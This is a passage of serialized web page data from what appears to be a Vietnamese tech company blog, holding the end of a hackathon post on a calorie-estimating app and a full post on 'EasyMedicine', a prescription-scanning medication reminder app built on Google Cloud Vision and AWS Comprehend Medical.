thiếu",[533,11260],{"className":11261,"alt":66,"src":11262,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F09104414\u002FIMG_1928-576x1024.png",[11,11264,11265],{},"Cuối cùng là màn hình kết quả, bạn có thể nhập vào số lượng của mỗi loại thức ăn để hệ thống tính toán lượng calories",[490,11267,11269],{"id":11268},"các-vấn-đề-chưa-giải-quyết-được-và-định-hướng-phát-triển-trong-tương-lai","Các vấn đề chưa giải quyết được và định hướng phát triển trong tương lai",[657,11271,11273],{"id":11272},"độ-chính-xác-thấp",[20,11274,11275],{},[1277,11276,11277],{},"Độ chính xác thấp",[11,11279,11280],{},"Google Vision tập dữ liệu detect rộng nhưng không chuyên sâu đối với thức ăn, chính vì vậy độ chính xác thấp.",[533,11282],{"className":11283,"alt":66,"src":11284,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F09085802\u002Flow_precision-1024x519.png",[11,11286,11287],{},"Ví dụ đối với hình ảnh trái Kiwi, thì kết quả trả về của Google Cloud Vision rất chung chung là Fruit và Food.",[11,11289,11290],{},"Để cải thiện độ chính xác thì có các giải pháp sau:",[31,11292,11293,11296],{},[34,11294,11295],{},"Thay thế Google Cloud Vision bằng dịch vụ AI API chuyên về thức ăn như FoodAI, LogMeal API,.. Ưu điểm là độ chính xác cao hơn, mức độ dễ dùng tương tự Google Cloud Vision. Nhược điểm là giá cao và phụ thuộc vào nhà cung cấp API, không thể thêm mới dữ liệu training các món ăn khác.",[34,11297,11298],{},"Tự xây dựng và training model Deep Learning chuyên biệt về thức ăn. Ưu điểm là độ chính xác cao, làm chủ công nghệ nên có thể tự thêm mới dữ liệu training các món ăn tùy theo nhu cầu. Nhược điểm là yêu cầu là cần có thời gian để research model tối ưu nhất, cần phải có datasets (dữ liệu hình ảnh có gán nhãn) đủ lớn thì mới có được độ chính xác cao.",[11,11300,11301],{},"=> Sau khi thảo luận và căn nhắc chúng tôi quyết định chọn kết hợp giải pháp: Tự xây dựng và training model Deep Learning chuyên biệt về thức ăn (Python, Tensorflow), song song với đó là sử dụng Google Cloud Vision.",[533,11303],{"className":11304,"alt":66,"src":11305,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F09085845\u002FCaloriesShowingFlow-1024x549.png",[11,11307,11308],{},"Việc kết hợp giải pháp sẽ giúp:",[31,11310,11311,11314,11317,11320],{},[34,11312,11313],{},"Giảm được một phần chi phí phải trả cho Google Cloud Vision API",[34,11315,11316],{},"Khắc phục hạn chế ban đầu của model tự xây dựng đó là độ chính xác chưa cao do datasets còn ít và chưa tìm được model tối ưu.",[34,11318,11319],{},"Tách phần xây dựng model Deep Learning thành một phần riêng, để không vì nó mà làm ảnh hưởng đến việc xây dựng thêm tính năng của app.",[34,11321,11322],{},"Khi model Deep Learning tự xây dựng đã đạt được độ chính xác mong muốn thì loại bỏ Google Cloud Vision khỏi flow dự án.",[657,11324,11326],{"id":11325},"xác-định-lượng-calories-phụ-thuộc-vào-database",[20,11327,11328],{},[1277,11329,11330],{},"Xác định lượng calories phụ thuộc vào database",[11,11332,11333],{},"Trường hợp thức ăn không có trong database thì không cách nào có thể chọn được (kể cả nhập tay).",[11,11335,11336],{},"Giải pháp: Trường hợp không detect được thì hiển thị dialog hỏi user là có muốn sử dụng hình ảnh đã tải lên để giúp bổ sung vào cơ sở dữ liệu của app hay không => Nếu user đồng ý thì tiến hành lưu hình ảnh mà user đã sử dụng vào storage, từ hình ảnh đó chúng tôi sẽ tìm hiểu thông tin về calories để lưu vào database, đồng thời thu thập datasets để training model Deep Learning.",[657,11338,11340],{"id":11339},"định-hướng-phát-triển-trong-tương-lai",[20,11341,11342],{},[1277,11343,11344],{},"Định hướng phát triển trong tương lai",[11,11346,11347],{},"1\u002F Xây dựng thêm nhiều tính năng để để trở thành một app hoàn thiện. Các tính năng dự kiến phát triển thêm: đăng ký, đăng nhập, tính lượng calories cần thiết mỗi ngày, cảnh báo thiếu\u002Fthừa lượng calories, lập kế hoạch giảm cân\u002Ftăng cân,...",[11,11349,11350],{},"2\u002F Cải thiện độ chính xác của AI, xây dựng, tối ưu model Deep Learning.",[11,11352,11353],{},"Chính vì vậy nhóm chúng tôi sẽ chia làm 2 nhóm nhỏ. Nhóm phụ trách phát triển tính năng cho app và nhóm xây dựng, tối ưu model Deep Learning.",[490,11355,7462],{"id":5255},[11,11357,11358],{},[58,11359,11144],{"href":11144,"rel":11360},[62],[11,11362,11363],{},[58,11364,11365],{"href":11365,"rel":11366},"https:\u002F\u002Fcloud.google.com\u002Fvision",[62],[490,11368,11370],{"id":11369},"presentation","Presentation",[11,11372,11373],{},[58,11374,11375],{"href":11375,"rel":11376},"https:\u002F\u002Fdocs.google.com\u002Fpresentation\u002Fd\u002F1F0p0vCxMiBaihVrDw84mTekzyq9bF2fz\u002Fedit?usp=sharing&ouid=103973922645801568163&rtpof=true&sd=true",[62],{"title":66,"searchDepth":67,"depth":67,"links":11378},[11379,11380,11381,11382,11383],{"id":11186,"depth":1417,"text":11191},{"id":11239,"depth":1417,"text":11244},{"id":11272,"depth":1417,"text":11277},{"id":11325,"depth":1417,"text":11330},{"id":11339,"depth":1417,"text":11344},[6940,1429],"NGHIA NGHUYEN TRUNG","2023-03-22",{},"\u002Fvi\u002Fnews\u002Fhackathon-calories-showing-app-giup-kiem-tra-calories-tu-hinh-anh-thuc-an",{"title":11129,"description":11148},"vi\u002Fnews\u002Fhackathon-calories-showing-app-giup-kiem-tra-calories-tu-hinh-anh-thuc-an","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F20143340\u002Fcalories_showing_featured_image.png","HHNavRRmGaYt9_PQZv2taYEK0WpmTUNJIHB4crBfeoI",{"id":11394,"title":11395,"body":11396,"category":11905,"created by":70,"date":11906,"description":11400,"extension":72,"meta":11907,"navigation":74,"path":11908,"sections":76,"seo":11909,"stem":11910,"thumbnail":11911,"__hash__":11912},"content_vi\u002Fvi\u002Fnews\u002Fhackathon-team3.md","[Hackathon] Giới thiệu ứng dụng Easy Medicine - Team Healthy Healthier",{"type":8,"value":11397,"toc":11893},[11398,11401,11406,11470,11474,11477,11480,11497,11503,11507,11510,11513,11516,11519,11536,11540,11543,11547,11550,11564,11573,11584,11590,11594,11597,11601,11604,11612,11619,11630,11636,11640,11643,11647,11654,11658,11665,11671,11674,11695,11698,11704,11710,11733,11738,11757,11763,11767,11773,11778,11789,11794,11811,11815,11835,11839,11842,11856,11860,11866,11870],[11,11399,11400],{},"Ngày nay, có rất nhiều ứng dụng được tạo ra để giúp mọi công việc trở nên đơn giản và hiệu quả hơn. Một trong những tính năng mang tính cạnh tranh nhất giữa các ứng dụng chính là tính tự động. Điều này nghĩa là con người sẽ tối thiểu hóa các thao tác nhất có thể và để phần còn lại cho ứng dụng. Từ khi Trí tuệ nhân tạo - AI trở nên phổ biến, tự động hoá trong các thao tác trở nên khả thi hơn, đồng thời, nó còn mở ra rất nhiều tính năng mới cho các ứng dụng. EasyMedicine cũng là một ứng dụng được xây dựng dựa trên công nghệ AI và nó giúp tự động hoá quản lý việc uống thuốc.",[11,11402,11403],{},[20,11404,11405],{},"Nội dung chính",[201,11407,11408,11414,11420,11426,11432,11438,11444,11450,11456,11461],{},[34,11409,11410],{},[58,11411,11413],{"href":11412},"#section-1","EasyMedicine giải quyết những vấn đề gì?",[34,11415,11416],{},[58,11417,11419],{"href":11418},"#section-2","AI sẽ giúp giải quyết vấn đề như thế nào?",[34,11421,11422],{},[58,11423,11425],{"href":11424},"#section-3","Giới thiệu Google Cloud Vision",[34,11427,11428],{},[58,11429,11431],{"href":11430},"#section-4","Giới thiệu AWS Comprehend Medical",[34,11433,11434],{},[58,11435,11437],{"href":11436},"#section-5","Thiết kế hệ thống",[34,11439,11440],{},[58,11441,11443],{"href":11442},"#section-6","Demo ứng dụng",[34,11445,11446],{},[58,11447,11449],{"href":11448},"#section-7","Tính năng mong muốn phát triển",[34,11451,11452],{},[58,11453,11455],{"href":11454},"#section-8","Mặt hạn chế",[34,11457,11458],{},[58,11459,9953],{"href":11460},"#section-9",[34,11462,11463,11467],{},[58,11464,11466],{"href":11465},"#section-10","Trích dẫn",[58,11468],{"id":11469},"section-1",[657,11471,11473],{"id":11472},"_1-easymedicine-giải-quyết-những-vấn-đề-gì","#1. EasyMedicine giải quyết những vấn đề gì?",[11,11475,11476],{},"Là một người khoẻ mạnh, bạn có thể sẽ chưa hình dung được tại sao lại cần một ứng dụng quản lý việc uống thuốc. Tuy nhiên, nếu đặt bản thân vào tình huống là một người đang trải qua nhiều căn bệnh khác nhau, dù bạn có thể kiểm soát tốt và luôn uống thuốc đúng giờ thì chẳng phải việc quản lý thời gian uống thuốc này cũng không thể gọi là một chuyện đơn giản được hay sao? Trong khi đó, việc này hoàn toàn có thể kiểm soát bằng một ứng dụng, và bạn có thể tập trung vào những công việc khác của bản thân. Lấy một ví dụ cụ thể để làm rõ hơn về vấn đề này, đó chính là mẹ của chúng ta - người phải chăm sóc cho nhiều thành viên trong gia đình một khi họ bị bệnh. Ngoài ra, cũng phải thừa nhận rằng có đôi lúc chúng ta quên uống thuốc. Có khi chúng ta cũng sẽ lơ là việc uống thuốc một khi bệnh đã thuyên giảm. Hậu quả của những chuyện này chính là sức khoẻ của chúng ta sẽ bị ảnh hưởng không tốt về lâu dài.",[11,11478,11479],{},"Nói cách khác, chúng ta cần một công cụ giúp giải quyết những vấn đề sau:",[31,11481,11482,11485,11488,11491,11494],{},[34,11483,11484],{},"Hôm nay cần uống thuốc vào lúc mấy giờ, uống những thuốc gì và liều lượng là bao nhiêu?",[34,11486,11487],{},"Có phương pháp gì để tránh quên uống thuốc hay không? Có ứng dụng gì giúp nhắc nhở việc uống thuốc không?",[34,11489,11490],{},"Hôm nay đã uống những thuốc nào, chưa uống hoặc đã quên uống thuốc nào?",[34,11492,11493],{},"Còn phải uống thuốc trong bao lâu và còn phải uống bao nhiêu viên nữa?",[34,11495,11496],{},"Nếu sau này muốn tra cứu và tái sử dụng thông tin thuốc thì có ứng dụ gì hỗ trợ lưu trữ thông tin của thuốc hay không?",[11,11498,11499,11500],{},"Ý tưởng chính cho ứng dụng EasyMedicine chính là để trả lời cho những câu hỏi ở trên.\n",[58,11501],{"id":11502},"section-2",[657,11504,11506],{"id":11505},"_2-ai-sẽ-giúp-giải-quyết-vấn-đề-như-thế-nào","#2. AI sẽ giúp giải quyết vấn đề như thế nào?",[11,11508,11509],{},"Dựa vào những vấn đề đã phân tích, chúng ta hoàn toàn có thể hình dung ra một ứng dụng giúp quản lý việc uống thuốc, bao gồm cả việc theo dõi và nhắc nhở việc uống thuốc đúng giờ.",[11,11511,11512],{},"Nhằm giúp cho mọi thao tác được thực hiện dễ dàng, nhanh chóng nhất có thể thì chúng ta cần tự động hoá một số bước. Đó là lập danh sách thuốc cần uống và đặt lịch báo giờ uống thuốc.",[11,11514,11515],{},"Cụ thể, người dùng sẽ chụp hình toa thuốc của mình. Sau đó, đơn thuốc sẽ được quét và một danh sách các loại thuốc cần uống sẽ được tạo (với thông tin về liều lượng cụ thể). Đồng thời, thời gian biểu cho việc uống thuốc sẽ được tự động tạo ra.",[11,11517,11518],{},"Từ đó, mọi bước sẽ được hoàn tất chỉ sau một thao tác chụp hình. Và công nghệ AI sẽ là cách để chúng ta có thể thực hiện nó. Cụ thể như sau:",[31,11520,11521,11527],{},[34,11522,11523,11526],{},[20,11524,11525],{},"Computer Vision:"," Thị giác máy tính - là công nghệ AI cho phép phân biệt được các vật thể nằm trong một khung hình. Trong trường hợp này, chúng ta cần trích xuất được nội dung bằng chữ (raw text) của toa thuốc nằm trong hình ảnh mà người dùng đã chụp. Google Clould Vision API là công cụ sẽ được sử dụng cho việc này.",[34,11528,11529,11532,11533],{},[20,11530,11531],{},"Natural Language Processing:"," Là một lĩnh vực của trí tuệ nhân tạo, công nghệ này tập trung vào việc giúp máy tính tư duy và hiểu nội dung văn bản như cách con người viết và nói. Đây là một nhiệm vụ khó khăn vì nó liên quan đến rất nhiều dữ liệu trừu tượng (phi cấu trúc). Vì nội dung chính cần AI xử lý là các toa thuốc nên AI được chọn cần phải được đào tạo bằng dữ liệu y tế. Do đó, AWS Comprehend Medical là một dịch vụ phù hợp trong trường hợp này.\n",[58,11534],{"id":11535},"section-3",[657,11537,11539],{"id":11538},"_3-giới-thiệu-google-cloud-vision-api","#3. Giới thiệu Google Cloud Vision API",[11,11541,11542],{},"Là một API cung cấp bởi Google. Ưu điểm của nó đến từ tốc độ xử lý và độ chính xác cao, dễ sử dụng và đã được đạo tạo bằng một lượng data hình ảnh khổng lồ. Đối với tính năng trích xuất văn bản (detect text) từ hình ảnh, nó có thể xử lý được cả văn bản đánh máy và cả viết tay, ngoài ra có thể hoạt động tốt với nhiều loại ngôn ngữ khác nhau.",[533,11544],{"className":11545,"alt":66,"src":11546,"style":604},[536,537],"https:\u002F\u002Fcloud.google.com\u002Fstatic\u002Fvision\u002Fdocs\u002Fimages\u002Fsign_text.png",[11,11548,11549],{},"Các vùng mà Google đặt máy chủ cho dịch vụ này:",[31,11551,11552,11558],{},[34,11553,11554,11557],{},[703,11555,11556],{},"us",": USA country only",[34,11559,11560,11563],{},[703,11561,11562],{},"eu",": The European Union",[11,11565,11566,11567,11572],{},"Chi phí duy trì dịch vụ (",[58,11568,11571],{"href":11569,"rel":11570},"https:\u002F\u002Fcloud.google.com\u002Fvision\u002Fpricing",[62],"Pricing - Cloud Vision API","):",[31,11574,11575,11578,11581],{},[34,11576,11577],{},"Google sẽ tính phí theo tháng dựa vào số hình ảnh đã xử lý. Mỗi hình ảnh sẽ được tính là 1 unit.",[34,11579,11580],{},"Có nhiều mức thu phí khác nhau dựa vào số lượng unit. Nhưng đối với ứng dụng EasyMedicine, ta sẽ xét đến mức dưới 5.000.000 units. Ở mức này thì sẽ tốn 1.5 USD cho mỗi 1000 units.",[34,11582,11583],{},"Ví dụ: mỗi tháng ứng dụng xử lý 10000 hình ảnh thì sẽ tiêu tốn 15USD.",[11,11585,11586,11587],{},"Với mức thu phí 1.5 USD\u002F1000 units thì có thể thấy là nó khá tốn kém. Hy vọng tương lai sẽ tìm được dịch vụ với giá tốt hơn, có thể là dịch vụ nằm trong region khác và giá sẽ rẻ hơn.\n",[58,11588],{"id":11589},"section-4",[657,11591,11593],{"id":11592},"_4-giới-thiệu-aws-comprehend-medical","#4. Giới thiệu AWS Comprehend Medical",[11,11595,11596],{},"Là một dịch vụ về AI thuộc NLP (Natural Language Processing) của AWS (Amazon Web Service), API này nhận đầu vào là một đoạn văn bản và trả về các thông tin liên quan về y tế đã trích xuất được. Vì đã được được đào tạo qua một lượng data lớn về y tế nên độ chính xác của kết quả là khá cao - và đây là thứ mà ta cần trong ứng dụng này vì nó ảnh hưởng trực tiếp đến sức khoẻ của người dùng. Ngoài ra, vì đây là dịch vụ của AWS nên dịch vụ này được đặt ở rất nhiều vùng, dẫn đến tốc độ phản hồi cũng rất tối ưu.",[533,11598],{"className":11599,"alt":66,"src":11600,"style":539},[536,537],"https:\u002F\u002Fd2908q01vomqb2.cloudfront.net\u002Fda4b9237bacccdf19c0760cab7aec4a8359010b0\u002F2018\u002F11\u002F27\u002Fmedicalcomprehend_updated.png",[11,11602,11603],{},"Các thông tin mà AI này có khả năng nhận biết là khá đa dạng, nhưng vì chỉ quản lý việc uống thuốc của người dùng nên ta chỉ cần tập trung xét đến các thông tin như dưới đây:",[31,11605,11606,11609],{},[34,11607,11608],{},"Thông tin về thuốc: tên thuốc, liều lượng thuốc",[34,11610,11611],{},"Thông tin về thời gian",[11,11613,11566,11614,1170],{},[58,11615,11618],{"href":11616,"rel":11617},"https:\u002F\u002Faws.amazon.com\u002Fcomprehend\u002Fpricing\u002F",[62],"Amazon Comprehend – Pricing)",[31,11620,11621,11624],{},[34,11622,11623],{},"Mỗi 100 kí tự = 1 unit. Có nhiều mức thu phí khác nhau, nhưng mức mà EasyMedicine sử dụng sẽ nằm ở 10 triệu units.",[34,11625,11626,11627],{},"Ở mức 10 triệu units, phí cho mỗi unit là $0.0001USD. Ví dụ, mỗi tháng cần xử lý 10.000 toa thuốc, và trung bình mỗi toa thuốc sẽ có khoản 500 kí tự, thì mức phí sẽ là ",[20,11628,11629],{},"10000*5*0,0001 = 5 USD",[11,11631,11632,11633],{},"Đây là một mức phí khá tối ưu.\n",[58,11634],{"id":11635},"section-5",[657,11637,11639],{"id":11638},"_5-thiết-kế-hệ-thống","#5. Thiết kế hệ thống",[11,11641,11642],{},"Dưới đây là sơ đồ thiết kế hệ thống của EasyMedicine:",[533,11644],{"className":11645,"alt":66,"src":11646,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F07112836\u002Fhac.drawio.png",[11,11648,11649,11650,11653],{},"Để hiểu rõ hơn về sơ đồ trên, chúng ta hãy cùng tìm hiểu luồng xử lý của ứng dụng. Đầu tiên, sau khi người dùng input hình ảnh toa thuốc được chụp\u002F được đăng tải thì hình ảnh này sẽ được gửi về server. Server lúc này gọi tới ",[20,11651,11652],{},"Google Vision API"," bằng cách gửi mã base64 encode của hình ảnh đã input. Google sẽ xử lý và trả về toàn bộ nội dung văn bản trích xuất được từ bức ảnh. Lấy toa thuốc dưới đây là một ví dụ.",[533,11655],{"className":11656,"alt":66,"src":11657,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F07134621\u002FScreenshot-2023-03-02-103445.png",[11,11659,11660,11661,11664],{},"Tiếp theo, server sử dụng nội dung bằng chữ đã trích xuất được để gọi tới API của ",[20,11662,11663],{},"AWS Comprehend Medical"," nhằm yêu cầu trích xuất dữ liệu về y tế.  Dưới đây là một phần của kết quả trả về:",[696,11666,11669],{"className":11667,"code":11668,"language":701},[699],"{\n\n    \"Entities\": \\[\n\n        {\n\n            \"Id\": 1,\n\n            \"BeginOffset\": 0,\n\n            \"EndOffset\": 27,\n\n            \"Score\": 0.982366681098938,\n\n            \"Text\": \"Erythromycin ethylsuccinate\",                     \u002F\u002F Tên thuốc\n\n            \"Category\": \"MEDICATION\",\n\n            \"Type\": \"GENERIC\\_NAME\",\n\n            \"Traits\": \\[\\],\n\n            \"Attributes\": \\[\n\n                {\n\n                    \"Type\": \"STRENGTH\",\n\n                    \"Score\": 0.8039610385894775,\n\n                    \"RelationshipScore\": 0.9956788420677185,\n\n                    \"RelationshipType\": \"STRENGTH\",\n\n                    \"Id\": 2,\n\n                    \"BeginOffset\": 28,\n\n                    \"EndOffset\": 37,\n\n                    \"Text\": \"400mg\u002F5ml\",                                        \u002F\u002F Liều lượng thuốc\n\n                    \"Category\": \"MEDICATION\",\n\n                    \"Traits\": \\[\\]\n\n                },\n\n                {\n\n                    \"Type\": \"FREQUENCY\",\n\n                    \"Score\": 0.2624519169330597,\n\n                    \"RelationshipScore\": 0.999884843826294,\n\n                    \"RelationshipType\": \"FREQUENCY\",\n\n                    \"Id\": 3,\n\n                    \"BeginOffset\": 46,\n\n                    \"EndOffset\": 55,\n\n                    \"Text\": \"tsp.q.i.d\",                                           \u002F\u002F Độ thường xuyên\n\n                    \"Category\": \"MEDICATION\",\n\n                    \"Traits\": \\[\\]\n\n                }\n\n            \\]\n\n        }\n\n    \\]\n\n}\n",[703,11670,11668],{"__ignoreMap":66},[11,11672,11673],{},"Khi đối chiếu kết quả JSON và hình ảnh input ban đầu, ta có thể thấy cách mà AI cấu trúc hoá các nội dung trong văn bản. Dựa vào những cấu trúc đã được định nghĩa trước, chúng ta dễ dàng lấy ra những thông tin cần thiết để xây dựng một lịch trình uống thuốc cho đơn thuốc này. Cụ thể, chúng ta sẽ tập trung xử lý các thuộc tính sau:",[31,11675,11676,11683,11689],{},[34,11677,11678,11679,11682],{},"Type là ",[703,11680,11681],{},"BRAND_NAME hoặc``GENERIC_NAME","\": đây là tên thuốc trích xuất được.",[34,11684,11678,11685,11688],{},[703,11686,11687],{},"DOSAGE hoặc STRENGTH",": đây là liều lượng thuốc",[34,11690,11678,11691,11694],{},[703,11692,11693],{},"FREQUENCY",": độ thường xuyên khi uống thuốc - đây là thông tin cần thiết để xây dựng lịch trình uống thuốc.",[11,11696,11697],{},"Từ những thông tin đã trích xuất được, chúng ta cần xử lý thông tin đó và kết quả là danh sách thuốc với lịch trình uống cụ thể:",[11,11699,11700,11703],{},[20,11701,11702],{},"Tên thuốc:"," Là thông tin dễ lấy được nhất vì nó không trừu tượng. Miễn là dữ liệu trong database về loại thuốc tồn tại trên hệ thống của AWS.",[11,11705,11706,11709],{},[20,11707,11708],{},"Liều lượng thuốc:"," Vì sẽ có nhiều hơn một attribute dạng \"DOSAGE\" được trả về, ta cần phân biệt được đâu là liều lượng thuốc thật sự, và đâu là liều lượng mỗi lần uống.",[31,11711,11712,11727],{},[34,11713,11714,11717,11718,11723,11724],{},[703,11715,11716],{},"Liều lượng thuốc","はthường sẽ đi kèm với đơn vị về khối lượng\u002Fthể tích của loại thuốc đó. Chẳng hạn như 100mg hay 400ml . Sử dụng Regex (",[58,11719,11722],{"href":11720,"rel":11721},"https:\u002F\u002Fdeveloper.mozilla.org\u002Fen-US\u002Fdocs\u002FWeb\u002FJavaScript\u002FGuide\u002FRegular_Expressions",[62],"Regular Expression",") sau, ta có thể dễ dàng trích xuất được liều lượng thuốc:",[703,11725,11726],{},"\u002F([0-9]+)( ?)(mg|ml)\u002F",[34,11728,11729,11732],{},[703,11730,11731],{},"Liều lượng mỗi lần uống"," `` ```có thể ở dạng khối lượng (50mg) hoặc cũng có thể ở dạng từ ngữ (1 viên, một lọ, ...). Xử lý cũng tương tự như trên.",[11,11734,11735],{},[20,11736,11737],{},"Lịch uống thuốc:",[31,11739,11740,11751],{},[34,11741,11742,11141,11745,11750],{},[703,11743,11744],{},"Thời gian uống thuốc ở dạng mã y dược",[58,11746,11749],{"href":11747,"rel":11748},"https:\u002F\u002Fpharmacytechniciantoday.com\u002Fpharmacy-abbreviations-sig-codes\u002F",[62],"Medical and pharmacy abbreviations)",". Lấy nội dung ở toa thuốc trên làm ví dụ, \"q.i.d\" tương đương với \"Four times a day\". Điều này có nghĩa là ứng dụng sẽ đặt lịch hẹn uống thuốc vào 4 thời điểm là sáng (7:00 AM), trưa (13:00 PM), chiều (18:00 PM), tối (21:00 PM).",[34,11752,11753,11756],{},[703,11754,11755],{},"Thời gian uống thuốc ở dạng thời điểm trong ngày."," Ứng dụng cần đặt lịch hẹn uống thuốc sao cho phù hợp với thời điểm được mô tả. Kiểu này sẽ có nhiều trường hợp khác nhau. Ví dụ Before breakfast (mỗi sáng lúc 7:00 AM) hoặc Twice a day (sáng - 7:00 AM, trưa 13:00 PM). Để chuyển được từ thời điểm sang lịch uống cụ thể, ta có thể dùng Regex để so khớp, chẳng hạn như:",[11,11758,11759,11760],{},"Bước cuối cùng là hẹn giờ báo uống thuốc. Dựa vào danh sách đã tạo được, hệ thống sẽ gừi thông báo push notification đến điện thoại của người dùng. Nhờ đó họ có thể uống thuốc đúng giờ và đúng liều lượng.\n",[58,11761],{"id":11762},"section-6",[657,11764,11766],{"id":11765},"_6-demo-ứng-dụng","#6. Demo ứng dụng:",[11,11768,11769],{},[58,11770,11771],{"href":11771,"rel":11772},"https:\u002F\u002Fyoutu.be\u002F5f4G10TW9Ko",[62],[11,11774,11775],{},[20,11776,11777],{},"Màn hình Home:",[31,11779,11780,11783,11786],{},[34,11781,11782],{},"Tính năng chính của màn hình này là kiểm soát việc uống thuốc đúng giờ.",[34,11784,11785],{},"Hiển thị danh sách các loại thuốc mà người dùng phải uống. Uống vào thời điểm nào và liều lượng ra sao. Các loại thuốc được gom nhóm theo giờ uống thuốc, từ đó người dùng biết cần phải uống bao nhiêu loại thuốc vào các thời điểm nhất định.",[34,11787,11788],{},"Khi trạng thái của thuốc chuyển sang màu xám với dấu ⚠️, nghĩa là người dùng đã quên uống thuốc đúng giờ. Để xác nhận bản thân đã uống thuốc đó đúng giờ, người dùng cần nhấn vào loại thuốc đó (hoặc nhấn \"Check all\"), lúc này trạng thái của thuốc sẽ chuyển sang màu xanh với dấu ✅.",[11,11790,11791],{},[20,11792,11793],{},"Màn hình Medication:",[31,11795,11796,11799,11802,11805],{},[34,11797,11798],{},"Tính năng chính của màn hình này là quản lý danh sách thuốc và thông tin về thuốc.",[34,11800,11801],{},"Người dùng có thể thêm loại thuốc cần uống bằng cách nhập vào các hạng mục ở phần Manual.",[34,11803,11804],{},"Ngoài ra, có thể chụp hình một toa thuốc và hệ thống sẽ tự động thêm danh sách thuốc cần uống với lịch trình dựa theo thông tin tìm được trên toa thuốc.",[34,11806,11807,11808],{},"Trường hợp thông tin từ hình chụp không chính xác, người dùng có thể tự chỉnh sửa hoặc xoá đi.\n",[58,11809],{"id":11810},"section-7",[657,11812,11814],{"id":11813},"_7-tính-năng-mong-muốn-phát-triển","#7. Tính năng mong muốn phát triển",[31,11816,11817,11820,11823,11826,11829],{},[34,11818,11819],{},"Hỗ trợ nhiều ngôn ngữ hơn: Khi chụp ảnh đơn thuốc để ứng dụng tự động xử lý thông tin, tính năng này chỉ hoạt động hiệu quả khi đơn thuốc sử dụng ngôn ngữ tiếng Anh. Với các ngôn ngữ khác như tiếng Việt, tiếng Nhật thì ứng dụng chưa thể xử lý được.",[34,11821,11822],{},"Lưu đơn thuốc để tái sử dụng: Để dễ quản lý hơn, chúng ta cần gom nhóm các loại thuốc theo một đơn thuốc cụ thể. Ngoài ra, trong tương lai chúng ta có khả năng tái phát bệnh một lần nữa, vì vậy nếu có sẵn một toa thuốc được lưu thì sẽ dễ dàng hơn trong việc tham khảo nên uống thuốc gì ở lần bị bệnh tiếp theo.",[34,11824,11825],{},"Đặt thuốc trực tiếp trên ứng dụng: Bằng cách kết hợp với toa thuốc đã tạo, người dùng lúc này có thể không cần phải trực tiếp đến nhà thuốc để mua thuốc nữa, thay vào đó chỉ cần đặt thuốc ngay trên ứng dụng. Lợi ích của việc này không chỉ có sự tiện lợi, bởi nếu chúng ta có thể đảm bảo nguồn gốc, chất lượng thuốc cũng như giá thành thì người dùng sẽ luôn an tâm khi uống thuốc đã đặt qua ứng dụng của chúng ta.",[34,11827,11828],{},"Trích xuất được tổng số lượng\u002Ftổng số ngày cần uống một loại thuốc nào đó: Hầu như các đơn thuốc đều có thông tin này, chẳng hạn như tổng số lượng thuốc cần uống là 10 viên. Hoặc tổng số ngày là 7 ngày.",[34,11830,11831,11832],{},"Tính năng cài đặt custom thời gian: Với mỗi người, thời gian uống thuốc là rất đa dạng. Vì vậy, chúng ta có thể để người dùng tự cài đặt thời gian phù hợp với thói quen của riêng mỗi người.\n",[58,11833],{"id":11834},"section-8",[657,11836,11838],{"id":11837},"_8-mặt-hạn-chế","#8. Mặt hạn chế",[11,11840,11841],{},"Đa phần mặt hạn chế của ứng dụng nằm ở tính năng tự động tạo dữ liệu từ hình chụp của người dùng. Cụ thể, ứng dụng còn thiếu sót ở những điểm dưới đây:",[31,11843,11844,11847,11850],{},[34,11845,11846],{},"Chỉ xử lý được các đơn thuốc sử dụng tiếng Anh. Vì vậy về mặt ngôn ngữ xử lý còn rất hạn chế.",[34,11848,11849],{},"Sẽ có trường hợp AWS Comprehend Medical không trích xuất được đầy đủ thông tin cần thiết để xử lý. Chẳng hạn như trường hợp toa thuốc sử dụng tên thuốc là của một hãng dược mà trong database của AWS chưa có dữ liệu. Lúc này ứng dụng không thể lấy được thông tin về tên thuốc.",[34,11851,11852,11853],{},"Chưa thể hiểu được tất cả trường hợp của thông tin về lịch trình uống thuốc. Vì lịch trình về thời gian uống thuốc được ứng dụng suy luận ra từ thông tin trong toa thuốc. Sẽ có trường hợp nó chưa được lập trình để xử lý.\n",[58,11854],{"id":11855},"section-9",[657,11857,11859],{"id":11858},"_9-lời-kết","#9. Lời kết",[11,11861,11862,11863],{},"EasyMedicine là một ý tượng có thể xem là khá thực tế và hữu ích. Tính năng của nó tận dụng công nghệ AI vì vậy các thao tác là rất dễ dàng. Hy vọng trong tương lai, ứng dụng này có thể thực sự được triển khai và đi vào hoạt động.\n",[58,11864],{"id":11865},"section-10",[657,11867,11869],{"id":11868},"_10-trích-dẫn","#10. Trích dẫn",[31,11871,11872,11879,11886],{},[34,11873,11874],{},[58,11875,11878],{"href":11876,"rel":11877},"https:\u002F\u002Fcloud.google.com\u002Fvision\u002Fdocs\u002Focr",[62],"Detect text in images  |  Cloud Vision API  |  Google Cloud",[34,11880,11881],{},[58,11882,11885],{"href":11883,"rel":11884},"https:\u002F\u002Fdocs.aws.amazon.com\u002Fcomprehend-medical\u002Flatest\u002Fdev\u002Ftextanalysis-entitiesv2.html",[62],"Detect entities (Version 2) - Amazon Comprehend Medical",[34,11887,11888],{},[58,11889,11892],{"href":11890,"rel":11891},"https:\u002F\u002Fdocs.google.com\u002Fpresentation\u002Fd\u002F1Peh_iNryPLe-GqyxT4PYScGQ-3HfstXM\u002Fedit#slide=id.g21397e526fe_2_0",[62],"プレゼンテーションファイル - 